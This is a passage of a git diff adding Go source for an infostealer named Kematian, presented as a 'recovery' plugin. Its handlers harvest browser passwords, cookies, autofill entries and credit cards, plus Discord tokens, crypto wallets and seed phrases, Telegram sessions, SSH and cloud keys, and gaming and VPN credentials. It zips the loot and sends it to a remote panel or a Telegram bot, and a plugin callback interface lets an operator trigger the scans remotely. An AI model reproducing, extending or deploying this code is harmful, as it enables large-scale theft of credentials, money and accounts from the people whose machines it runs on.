v := range r.Bookmarks { + get(v.Browser).bookmarks++ + } + for _, v := range r.CreditCards { + get(v.Browser).cards++ + } + for _, v := range r.Extensions { + get(v.Browser).extensions++ + } + return m +} + +func printSummary(r *recovery.CollectionResult) { + fmt.Printf("\n===== SUMMARY =====\n") + + byBrowser := tally(r) + names := make([]string, 0, len(byBrowser)) + for b := range byBrowser { + names = append(names, b) + } + sort.Strings(names) + + fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n", + "browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions") + for _, b := range names { + c := byBrowser[b] + fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n", + b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions) + } + + fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens)) + fmt.Printf("files: %d\n", len(r.Files)) + fmt.Printf("wallets: %d\n", len(r.Wallets)) + fmt.Printf("telegram: %d\n", len(r.Telegram)) + fmt.Printf("keys: %d\n", len(r.Keys)) + fmt.Printf("apps: %d\n", len(r.AppCredentials)) + if r.Gaming != nil { + fmt.Printf("gaming: present\n") + } + if r.VPNs != nil { + fmt.Printf("vpns: present\n") + } + if len(r.Errors) > 0 { + fmt.Printf("\nerrors: %d\n", len(r.Errors)) + for _, e := range r.Errors { + fmt.Printf(" - %s\n", e) + } + } +} + +func writeResult(path string, r *recovery.CollectionResult) error { + data, err := json.MarshalIndent(r, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0600) +} + +func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("devtool: auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data)) + if includeZip { + printEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } + } +} + +// filter returns a copy of r restricted to a single browser (case-insensitive) +// when name is non-empty. Non-browser fields are dropped in that case so the +// output stays focused on the browser under test. +func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult { + if name == "" { + return r + } + match := func(b string) bool { return strings.EqualFold(b, name) } + + out := &recovery.CollectionResult{} + for _, v := range r.Passwords { + if match(v.Browser) { + out.Passwords = append(out.Passwords, v) + } + } + for _, v := range r.Cookies { + if match(v.Browser) { + out.Cookies = append(out.Cookies, v) + } + } + for _, v := range r.Autofill { + if match(v.Browser) { + out.Autofill = append(out.Autofill, v) + } + } + for _, v := range r.History { + if match(v.Browser) { + out.History = append(out.History, v) + } + } + for _, v := range r.Bookmarks { + if match(v.Browser) { + out.Bookmarks = append(out.Bookmarks, v) + } + } + for _, v := range r.CreditCards { + if match(v.Browser) { + out.CreditCards = append(out.CreditCards, v) + } + } + for _, v := range r.Extensions { + if match(v.Browser) { + out.Extensions = append(out.Extensions, v) + } + } + out.Errors = r.Errors + return out +} diff --git a/Kematian-Standalone/native/cmd/exfil/main.go b/Kematian-Standalone/native/cmd/exfil/main.go new file mode 100644 index 0000000..165d777 --- /dev/null +++ b/Kematian-Standalone/native/cmd/exfil/main.go @@ -0,0 +1,81 @@ +package main + +import ( + "context" + "fmt" + "os" + "os/signal" + "syscall" + "time" + + "recovery/recovery/exfil" +) + +const ( + defaultTimeout = 120 * time.Second + + // EMBEDDED CONFIG - Change these values before building + + // Telegram fallback (leave placeholder to disable) + defaultBotToken = "YOUR_BOT_TOKEN_HERE" + defaultChatID = "YOUR_CHAT_ID_HERE" +) + +func logf(format string, args ...interface{}) { + f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + return + } + defer f.Close() + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg) +} + +func main() { + useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE" + usePanel := exfil.PanelEndpoint != "" + + logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "") + + if !useTelegram && !usePanel { + return + } + + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + go func() { + <-sigChan + cancel() + }() + + result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx) + if err != nil { + logf("collect failed: %v", err) + return + } + + if usePanel { + clientID := exfil.GenerateClientID() + if err := exfil.SendToPanel(result, clientID, payloads...); err != nil { + logf("panel send FAILED: %v", err) + } else { + logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads)) + } + } + + if useTelegram { + filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip" + cfg := exfil.TelegramConfig{ + BotToken: defaultBotToken, + ChatID: defaultChatID, + } + if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil { + logf("telegram send FAILED: %v", err) + } else { + logf("telegram send OK") + } + } +} diff --git a/Kematian-Standalone/native/exports_windows.go b/Kematian-Standalone/native/exports_windows.go new file mode 100644 index 0000000..3c23712 --- /dev/null +++ b/Kematian-Standalone/native/exports_windows.go @@ -0,0 +1,64 @@ +//go:build windows + +package main + +import "C" +import ( + "syscall" + "unsafe" +) + +var callbackPtr uintptr + +func hostSendViaCallback(event string, payload []byte) { + cb := callbackPtr + if cb == 0 { + return + } + eventBytes := []byte(event) + var evPtr, plPtr uintptr + evLen := uintptr(len(eventBytes)) + plLen := uintptr(len(payload)) + if len(eventBytes) > 0 { + evPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payload) > 0 { + plPtr = uintptr(unsafe.Pointer(&payload[0])) + } + syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen) +} + +//export PluginSetCallback +func PluginSetCallback(cb C.ulonglong) { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) +} + +//export PluginOnLoad +func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) + data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen) + if err := handleInit(data); err != nil { + return 1 + } + return 0 +} + +//export PluginOnEvent +func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int { + ev := C.GoStringN(event, eventLen) + var pl []byte + if payloadLen > 0 { + pl = C.GoBytes(unsafe.Pointer(payload), payloadLen) + } + if err := handleEvent(ev, pl); err != nil { + return 1 + } + return 0 +} + +//export PluginOnUnload +func PluginOnUnload() { + handleUnload() +} diff --git a/Kematian-Standalone/native/go.mod b/Kematian-Standalone/native/go.mod new file mode 100644 index 0000000..bbff95d --- /dev/null +++ b/Kematian-Standalone/native/go.mod @@ -0,0 +1,22 @@ +module recovery + +go 1.26 + +require ( + github.com/mattn/go-sqlite3 v1.14.18 + golang.org/x/sys v0.47.0 +) + +require ( + github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f + github.com/chromedp/chromedp v0.16.0 + golang.org/x/crypto v0.50.0 +) + +require ( + github.com/chromedp/sysutil v1.1.0 // indirect + github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect + github.com/gobwas/httphead v0.1.0 // indirect + github.com/gobwas/pool v0.2.1 // indirect + github.com/gobwas/ws v1.4.0 // indirect +) diff --git a/Kematian-Standalone/native/go.sum b/Kematian-Standalone/native/go.sum new file mode 100644 index 0000000..61ef2d3 --- /dev/null +++ b/Kematian-Standalone/native/go.sum @@ -0,0 +1,25 @@ +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk= +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0= +github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk= +github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U= +github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM= +github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= +github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI= +github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= +golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/Kematian-Standalone/native/main.go b/Kematian-Standalone/native/main.go new file mode 100644 index 0000000..1b1cda4 --- /dev/null +++ b/Kematian-Standalone/native/main.go @@ -0,0 +1,588 @@ +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "log" + "path/filepath" + "recovery/recovery" + "sync" + "sync/atomic" + "time" +) + +// collectDeadline bounds an entire collection run. A single stuck browser +// (NSS/COM/pipe stall) must never wedge the agent for more than this. +const collectDeadline = 90 * time.Second + +type HostInfo struct { + ClientID string `json:"clientId"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` +} + +var ( + hostInfo HostInfo + sendFn func(event string, payload []byte) + mu sync.Mutex + collecting atomic.Bool +) + +func setSend(fn func(event string, payload []byte)) { + mu.Lock() + sendFn = fn + mu.Unlock() +} + +func sendEvent(event string, payload interface{}) { + mu.Lock() + fn := sendFn + mu.Unlock() + if fn == nil { + return + } + data, err := json.Marshal(payload) + if err != nil { + log.Printf("[recovery] marshal error: %v", err) + return + } + fn(event, data) +} + +func handleInit(hostJSON []byte) error { + if err := json.Unmarshal(hostJSON, &hostInfo); err != nil { + return err + } + log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch) + sendEvent("ready", map[string]string{"status": "recovery plugin ready"}) + return nil +} + +func handleEvent(event string, payload []byte) error { + switch event { + case "collect": + go handleCollect(payload) + case "scan_files": + go handleScanFiles() + case "scan_extensions": + go handleScanExtensions() + case "fetch_file": + go handleFetchFile(payload) + case "fetch_ext_zip": + go handleFetchExtZip(payload) + case "scan_wallets": + go handleScanWallets() + case "fetch_wallet_zip": + go handleFetchWalletZip(payload) + case "scan_telegram": + go handleScanTelegram() + case "fetch_telegram_zip": + go handleFetchTelegramZip(payload) + case "scan_keys": + go handleScanKeys() + case "scan_apps": + go handleScanApps() + case "scan_gaming": + go handleScanGaming() + case "scan_vpn": + go handleScanVPN() + case "fingerprint": + go handleFingerprint() + case "fingerprint_js": + go handleFingerprintJS() + case "ping": + sendEvent("pong", nil) + default: + log.Printf("[recovery] unhandled event: %s", event) + } + return nil +} + +func handleCollect(payload []byte) { + if !collecting.CompareAndSwap(false, true) { + log.Printf("[recovery] collection already in progress, ignoring duplicate request") + return + } + defer collecting.Store(false) + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] collection panic: %v", r) + sendEvent("error", map[string]string{"error": "internal collection error"}) + } + }() + + var opts recovery.CollectOptions + if len(payload) > 0 { + json.Unmarshal(payload, &opts) + } else { + opts.Browsers = true + } + + if opts.Browsers { + noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill && + !opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord + if noneSet { + opts.Passwords = true + opts.Cookies = true + opts.Autofill = true + opts.History = true + opts.Bookmarks = true + opts.CreditCards = true + opts.Discord = true + opts.Files = true + opts.Wallets = true + opts.Telegram = true + opts.Keys = true + opts.Apps = true + opts.Gaming = true + opts.VPNs = true + } + } + + log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)", + opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord) + sendEvent("status", map[string]string{"message": "Resolving encryption keys..."}) + + var extensions []recovery.ExtensionResult + var extWg sync.WaitGroup + if opts.Browsers { + extWg.Add(1) + go func() { + defer extWg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + } + }() + extensions = recovery.ScanExtensions() + }() + } + + partialFn := func(partial *recovery.CollectionResult) { + sendEvent("partial", partial) + } + + ctx, cancel := context.WithTimeout(context.Background(), collectDeadline) + defer cancel() + + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("[recovery] collection failed: %v", err) + sendEvent("error", map[string]string{"error": err.Error()}) + return + } + + if opts.Browsers { + extWg.Wait() + result.Extensions = extensions + } + + log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds", + len(result.Passwords), len(result.Cookies), len(result.Autofill), + len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials)) + + sendEvent("results", result) + + if len(result.Wallets) > 0 { + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet auto-download panic: %v", r) + } + }() + autoDownloadWallets(result.Wallets) + }() + } + + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] seed scan panic: %v", r) + } + }() + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("[recovery] seed scan found %d seed phrases", len(seeds)) + sendEvent("seed_scan_results", map[string]interface{}{ + "seeds": seeds, + }) + } + }() +} + +func handleScanExtensions() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + sendEvent("error", map[string]string{"error": "extension scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning extensions..."}) + exts := recovery.ScanExtensions() + log.Printf("[recovery] extension scan complete: %d extensions", len(exts)) + sendEvent("extension_scan_results", map[string]interface{}{ + "extensions": exts, + }) +} + +func handleFetchExtZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_ext_zip panic: %v", r) + sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + ExtID string `json:"extId"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err) + sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data)) + sendEvent("fetch_ext_zip_result", map[string]interface{}{ + "path": req.Path, + "extId": req.ExtID, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB + +func handleScanWallets() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet scan panic: %v", r) + sendEvent("error", map[string]string{"error": "wallet scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning wallets..."}) + wallets := recovery.ScanWallets() + log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets)) + sendEvent("wallet_scan_results", map[string]interface{}{ + "wallets": wallets, + }) + autoDownloadWallets(wallets) +} + +func autoDownloadWallets(wallets []recovery.WalletResult) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("[recovery] auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data)) + sendEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchWalletZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_wallet_zip panic: %v", r) + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Name string `json:"name"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err) + sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data)) + sendEvent("fetch_wallet_zip_result", map[string]interface{}{ + "path": req.Path, + "name": req.Name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanFiles() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] file scan panic: %v", r) + sendEvent("error", map[string]string{"error": "file scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning files..."}) + files := recovery.ScanFiles() + log.Printf("[recovery] file scan complete: %d files", len(files)) + sendEvent("file_scan_results", map[string]interface{}{ + "files": files, + "truncated": len(files) >= 500, + }) +} + +func handleFetchFile(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_file panic: %v", r) + sendEvent("fetch_file_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_file_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.FetchFile(req.Path) + if err != nil { + log.Printf("[recovery] fetch_file %q: %v", req.Path, err) + sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data)) + sendEvent("fetch_file_result", map[string]interface{}{ + "path": req.Path, + "name": filepath.Base(req.Path), + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanTelegram() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] telegram scan panic: %v", r) + sendEvent("error", map[string]string{"error": "telegram scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."}) + sessions := recovery.ScanTelegram() + log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions)) + sendEvent("telegram_scan_results", map[string]interface{}{ + "sessions": sessions, + }) + for _, s := range sessions { + if s.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size) + continue + } + data, err := recovery.ZipTelegram(s.Path) + if err != nil { + log.Printf("[recovery] telegram zip %q: %v", s.Account, err) + continue + } + log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": s.Account, + "path": s.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchTelegramZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_telegram_zip panic: %v", r) + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Account string `json:"account"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipTelegram(req.Path) + if err != nil { + log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err) + sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": req.Account, + "path": req.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanKeys() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] key scan panic: %v", r) + sendEvent("error", map[string]string{"error": "key scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."}) + keys := recovery.ScanKeys() + log.Printf("[recovery] key scan complete: %d keys", len(keys)) + sendEvent("key_scan_results", map[string]interface{}{ + "keys": keys, + }) +} + +func handleScanApps() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] app scan panic: %v", r) + sendEvent("error", map[string]string{"error": "app credential scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning app credentials..."}) + apps := recovery.ScanApps() + log.Printf("[recovery] app scan complete: %d credentials", len(apps)) + sendEvent("app_scan_results", map[string]interface{}{ + "appCredentials": apps, + }) +} + +func handleScanGaming() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] gaming scan panic: %v", r) + sendEvent("error", map[string]string{"error": "gaming scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."}) + gaming := recovery.ScanGaming() + sendEvent("gaming_scan_results", map[string]interface{}{ + "gaming": gaming, + }) + if gaming == nil { + return + } + autoDownloadGaming(gaming) +} + +func autoDownloadGaming(gaming *recovery.GamingResult) { + type zipJob struct { + name string + fn func() ([]byte, error) + } + var jobs []zipJob + + if gaming.Steam != nil && gaming.Steam.SteamPath != "" { + steamPath := gaming.Steam.SteamPath + jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }}) + } + if len(gaming.BattleNet) > 0 { + jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet}) + } + if len(gaming.Epic) > 0 { + jobs = append(jobs, zipJob{"epic", recovery.ZipEpic}) + } + if len(gaming.Riot) > 0 { + jobs = append(jobs, zipJob{"riot", recovery.ZipRiot}) + } + if len(gaming.Uplay) > 0 { + jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay}) + } + + for _, j := range jobs { + data, err := j.fn() + if err != nil || len(data) == 0 { + log.Printf("[recovery] gaming zip %s: %v", j.name, err) + continue + } + if len(data) > maxAutoDownloadSize { + log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data)) + continue + } + log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data)) + sendEvent("gaming_data", map[string]interface{}{ + "platform": j.name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleScanVPN() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] vpn scan panic: %v", r) + sendEvent("error", map[string]string{"error": "vpn scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."}) + vpns := recovery.ScanVPNs() + sendEvent("vpn_scan_results", map[string]interface{}{ + "vpns": vpns, + }) +} + +func handleUnload() { + log.Printf("[recovery] unloading") +} + +func handleFingerprint() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint error"}) + } + }() + sendEvent("fingerprint_result", recovery.CollectFingerprint()) + log.Printf("[recovery] fingerprint collected") +} + +func handleFingerprintJS() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint_js panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint_js error"}) + } + }() + result := recovery.CollectJSFingerprint() + if result == nil { + sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"}) + return + } + sendEvent("fingerprint_js_result", result) + log.Printf("[recovery] JS fingerprint collected") +} + +func main() {} diff --git a/Kematian-Standalone/native/recovery/browser/browser_darwin.go b/Kematian-Standalone/native/recovery/browser/browser_darwin.go new file mode 100644 index 0000000..5ae1788 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_darwin.go @@ -0,0 +1,111 @@ +//go:build darwin + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"}, + {Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"}, + {Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"}, + {Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"}, + {Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"}, + {Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"}, + {Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true}, + {Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true}, + {Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"}, + {Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"}, + // Firefox family + {Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, "Library", "Application Support") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: 